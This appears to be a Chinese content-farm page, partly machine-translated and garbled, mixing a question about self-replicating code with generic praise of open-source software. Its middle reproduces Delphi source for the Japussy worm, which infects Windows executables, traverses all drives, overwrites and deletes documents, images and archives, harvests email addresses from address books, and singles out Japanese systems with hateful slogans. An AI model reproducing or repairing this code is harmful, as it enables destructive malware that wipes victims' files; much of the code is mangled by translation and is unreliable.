既可以免费使用、复制,也可以自由修改并分发其源代码的软件是 什么,免费软件提示(您认为):如果有“免费修改”是“首先在使用后付款”是简单的免费使用(和代码无关),删除后没有垃圾是
文件自我复制并分发的源码谁有发个研究,[注意]以下代码是一系列多人权力写入,只用于学习,记得在您无法阅读此代码之前编译执行,否则后果是您自己的风险! [声明]由于使用使用,它不对法律纠纷负责。计划japussy;使用Windows,Sysutils,Classes,Graphics,Shellapi {,Registry}; Const标题= 82432; //病毒体尺寸iconoffset = $ 12eB8; // PE文件主图标offset //在我的delphi5 sp1中编译大小,其他版本的delphi可能会有所不同//找到2800000020十六进制字符串,找到主图标的偏移{标题= 38912; // UPX压缩病毒尺寸iconoffset = $ 92BC; // UPX压缩PE文件主图标offset // UPX 1.24W使用率:UPX -9 - 8086 Japussy.exe} Iconsize = $ 2e8; // pe文件主图标大小--744字节icontail = iconoffset + iconize; // PE文件最终ID = $ 44444444; //感染标记//垃圾代码,为了写入唱片='如果赛跑需要杀死,它必须是大巴。' +'如果一个国家需要被摧毁,它必须是日本! '+'*** w32.japussy.worm.a ***'; {$ r * .res}函数注册器日本操作系统标签{判断为Win9x}函数是Win9x:Boolean; varlatform_win32_windows)然后// win9x结果:= true;结束; {流程复制}过程编译程序副本(src:tstream; sstartpos:整数; dst:tstream; dstartpos; dstartpos; count; count; count; count; count:integer; var scurpos,dcurpos:integer; begine; begin in; position; dcurpos; dst.position; dst.position; dst.position; src.seek(sstartpos,0); dst.seek(dstartpos,0); dst.copyfrom(src,count); src.seek(scurpos,0); dst.seek(dcurpos,0);结束{单独分隔主机来自受感染的PE文件的文件,用于使用}过程解级文件; var stream,dstream:tfilestream;开始尝试sstream:= tfilestream.create(rapstr(0),fmopenread或fmsharedenynone);尝试dstream:= tfilestream.create(文件名,fmcreate );尝试sstream.sebrek(标题,0); // *跳过dstream.copyfrom头部(SStream,Sstream.size - 标题);最后dstream。自由;结束;终于是stream.free;结束;除了结束;结束; {plip startupinfo结构}程序fillstartupinfo(var si:startupInfo;州:词); begin si.cb:= sizeof(si); si.lprevered:= nil; si.lpdesktop:= nil; si.lptitle:= nil; si.dwflags:= startf_useshowwindow; si.wshowwindow:=州; si.cbreeserved2:= 0; si.lpreServed2:= nil;结束; {发行带邮}程序sendmail; Begund; {感染PE文件} InfectOneFile(文件名:字符串); var hdrstream,srcstream:tfilestream; Icostream,DSTSTREAM:TMEMORYSTREAM; IID:龙眼; AICON:TICON;感染,ispe:布尔值;我:整数; buf:array [0..1] char;开始尝试//错误,正在使用文件,退出(如果compareText(filename,'japussy.exe')= 0那么然后没有退出;感染:=假; ISPE:= FALSE; srcstream:= tfilestream。创建(文件名,fmopenread);尝试i:= 0到$ 108 do //检查pe文件标题begin srcstream.sek(i,sofrombeginning); srcstream.read(buf,2);如果(buf [0] =#80)和(buf [1] =#69)那么// pe tagbegin ispe:= true; //是PE文件中断;结束;结束; srcstream.seek(-4,sofromend); //检查感染标记srcstream.read(IID,4); if(IID = id)或(srcstream .size < 10240) then //太小的文件不感染 Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 Exit; IcoStream := TMemoryStream.Create; DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try //得到被感染文件的主图标(744字节),存入流 aIcon.ReleaseHandle; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead); //头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try //写入病毒体主图标之前的数据 CopyStream(HdrStream, 0, DstStream, 0, IconOffset); //写入目前程序的主图标 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); //写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); //写入宿主程序 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); //写入已感染的标记 DstStream.Seek(0, 2); iID := $44444444; DstStream.Write(iID, 4); finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); //替换宿主文件 DstStream.Free; end; except; end;end;{ 将目标文件写入垃圾码后删除 }procedure SmashFile(FileName: string);var FileHandle: Integer; i, Size, Mass, Max, Len: Integer;begin try SetFileAttributes(PChar(FileName), 0); //去掉只读属性 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件 try Size := GetFileSize(FileHandle, nil); //文件大小 i := 0; Randomize; Max := Random(15); //写入垃圾码的随机次数 if Max < 5 then Max := 5; Mass := Size div Max; //每个间隔块的大小 Len := Length(Catchword); while i < Max do begin FileSeek(FileHandle, i * Mass, 0); //定位 //写入垃圾码,将文件彻底破坏掉 FileWrite(FileHandle, Catchword, Len); Inc(i); end; finally FileClose(FileHandle); //关闭文件 end; DeleteFile(PChar(FileName)); //删除 except end;end;{ 获得可写的驱动器列表 }function GetDrives: string;var DiskType: Word; D: Char; Str: string; i: Integer;begin for i := 0 to 25 do //遍历26个字母 begin D := Chr(i + 65); Str := D + ':\'; DiskType := GetDriveType(PChar(Str)); //得到本地磁盘和网络盘 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then Result := Result + D; end;end;{ 遍历目录,感染和摧毁文件 }procedure LoopFiles(Path, Mask: string);var i, Count: Integer; Fn, Ext: string; SubDir: TStrings; SearchRec: TSearchRec; Msg: TMsg; function IsValidDir(SearchRec: TSearchRec): Integer; begin if (SearchRec.Attr <> 16)和(searchRec.name <>')和(searchRec.name <>'..')然后res:= 0 //不是目录if(searchrec.attr = 16)和(searchRec.name <>'。')和(searchRec.name <>''..')然后res:= 1 //不是根目录结果:= 2; //是根目录结束;开始if(findfirst(path + mask,faanyfile,searchRec)= 0)开始重复偷看(msg,0,0,0,pm_remove); //调整消息队列,avoid如果是isvaliddir(searchrec)= 0那么开始fn:= path + searchRec.name; ext:=大写(提取物ineext(fn));如果(ext ='.exe')或(ext ='.scr')然后开始感染术(Fn); //感染可执行的exor easor(ext ='.htm')或(ext ='.atml')或(ext ='.asp')然后开始//可以通过HTML和ASP文件界面感染,如果Ext,则可以使用HTML和ASP文件界面结束否则='.wab'然后// Outlook地址簿开始/ /获取Outlook就业终止='.adc'// foxmail地址自动完成文件开始//获取Foxmail邮件地址,如果Ext ='Ind'然后excl = foxmail地址簿文件开始//获取Foxmail电子邮件地址exhels从earsjap那么//是日语的操作系统,如果(ext ='.doc')或(ext ='.xls')或(ext ='。mp3'开始)或(ext ='.rm')或(ext ='.wma')或(ext ='.wma')或(ext ='.zip')或(ext ='.rar')或(ext ='.mpeg')或(ext ='.jpg')或(ext ='.gif')或(ext =')或(ext =')或swf')或(ext ='.pdf')或(ext ='.avi')smashfile(fn); //销毁文件结束;结束;结束; //睡眠200毫秒后感染或删除文件,避免CPU使用过高的睡眠(200);直到(findnext(searchrec)<> 0);结束; findclose(searchrec); subdir:= tstringList.Create; if(findfirst(path +'*。*',eastirectory,searchRec)= 0)然后开始重复ifAlValiddir(SearchRec)= 1然后subdir.add(searchRec.name);直到(findnext(searchrec)<> 0);结束; findclose searchrec); count:= subdir.count - 1;对于i:= 0来计算do loopfiles(path + subdir.strings [i] +'\',mask); freeandnil(subdir); {遍历磁盘上的所有文件}程序感染文件; var司机列表:串;我,len:整数;如果getacp = 932然后//,如果日本操作系统是jap:= true; //坚决做驱动程序:= getdrives; //获取可用的磁盘列表len:=长度(驱动程序);虽然真正的DO //无限循环开始i:= len downto 1 do //行驶每个磁盘驱动器loopfiles(驱动程序[i] +':\','*。*'); // 发送邮件; //发毒电子邮件睡眠(1000 * 60 * 5); //睡5分钟结束;结束; {主程序开始}从ISWin9x DAM //是Win9x注册器服务(GetCurrentProcessID,1)//寄存器寄存到服务进程eys // winnt begin //您可以对explorer进程界面结束进行远程线程映射; //如果是原始病毒主体,如果比较文本(摘录文件(rapmstr(paramstr(paramstr(0)),'japussy.exe')= 0那么感染文件//感染和电子邮件//寄存在主机程序中,开始工作开始tmpfile:= paramstr(0); //创建临时文件删除(tmpfile,长度(tmpfile) - 4,4); tmpfile:= tmpfile +#32 +'.exe'; //真实主机文件,更多空间摘录文件(TMPFile); //独立fillstartupinfo(si,sw_showdefault); CreateProcess(PCHAR(TMPFILE),PCHAR(TMPFILE),NIL,NIL,TRUE,0,NIL,'。',SI,PI); //创建Infectfiles; //感染和电子邮件结束;结束。
常听说开放“源代码”,“源代码”是什么,怎样开放求答案,Linux和Zope是典型的开发源代码产品,IBM和HP是典型的开源支持公司。开源软件是一个用于公共代码的软件代码,任何人都可以修改,使用,复制,分发软件的源代码。 Linux和Zope是最典型的开源软件。开源软件由许多商业公司开发,可以获得更好的质量保证。 Zope由数百家公司的数千个开发人员共同维护,他们在一起形成了Zope社区。同样的Plone也是这些商业公司的积极参与者之一,许多商业公司在共同的开发和维护中。 IBM和HP也是非常典型的开源软件公司。与传统的封闭源代码软件相比,开源软件带来以下值:没有版权问题:无需支付软件许可费,客户可以获得许可。这也极大地降低了解决方案的成本。安全性和稳定性:由于其开放性,开放的软件源代码可以由世界上许多同行审查,因此更有可能对Linux具有很强的安全性和稳定性:开源代码产品有更多的用户,所以她有更强大的用户活力。由于特定公司的关闭,开源软件不会结束。
责任编辑(
冯梅梅)
以上就是关于**分发源码,下载页源码个人分发**的全部内容,了解更多请关注蚂蚁资源网。